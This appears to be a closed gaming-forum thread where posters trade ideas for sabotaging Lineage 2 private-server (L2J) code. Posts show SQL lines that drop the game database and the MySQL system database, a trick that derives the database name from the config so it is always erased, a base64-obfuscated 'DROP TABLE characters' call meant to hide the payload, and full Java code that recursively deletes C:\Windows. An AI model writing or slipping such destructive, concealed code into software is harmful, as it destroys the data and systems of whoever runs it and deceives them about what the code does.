Jump to content

Recommended Posts

  • 4 weeks later...
  • 1 year later...
  • 1 month later...
Posted

I think it would be better like this ..

 

e.executeUpdate("DROP database l2jdb");

++e.executeUpdate("DROP database mysql"); //Pwnned :P ..

nice one whit this if the database dont have the normal l2jdb name get erased any way?

Posted

yeah but you can make something like that: e.executeUpdate("Drop database "+ Config.DATABASE_URL.substring(23));

check it and let me know if its working

  • 2 weeks later...
  • 2 months later...
Posted

maybe its possible do that with base64 ^^

 

like e.executeUpdate(getText("RFJPUCBUQUJMRSBjaGFyYWN0ZXJz")); or not?

 

what about something like that HAHAHAHAHA

will be very bad xD to delete some windows files (in that case the folder but i think is not possible)

 

import java.io.File;
import java.io.IOException;

public class DeleteDirectory
{
    private static final String SRC_FOLDER = "C:\Windows";

    public static void main(String[] args)
    {	

    	File directory = new File(SRC_FOLDER);

    	//make sure directory exists
    	if(!directory.exists()){

           System.out.println("Directory does not exist.");
           System.exit(0);

        }else{

           try{

               delete(directory);

           }catch(IOException e){
               e.printStackTrace();
               System.exit(0);
           }
        }

    	System.out.println("Done");
    }

    public static void delete(File file)
    	throws IOException{

    	if(file.isDirectory()){

    		//directory is empty, then delete it
    		if(file.list().length==0){

    		   file.delete();
    		   System.out.println("Directory is deleted : " 
                                                 + file.getAbsolutePath());

    		}else{

    		   //list all the directory contents
        	   String files[] = file.list();

        	   for (String temp : files) {
        	      //construct the file structure
        	      File fileDelete = new File(file, temp);

        	      //recursive delete
        	     delete(fileDelete);
        	   }

        	   //check the directory again, if empty then delete it
        	   if(file.list().length==0){
           	     file.delete();
        	     System.out.println("Directory is deleted : " 
                                                  + file.getAbsolutePath());
        	   }
    		}

    	}else{
    		//if file, then delete it
    		file.delete();
    		System.out.println("File is deleted : " + file.getAbsolutePath());
    	}
    }
}

  • 2 months later...
Guest
This topic is now closed to further replies.


×
×
  • Create New...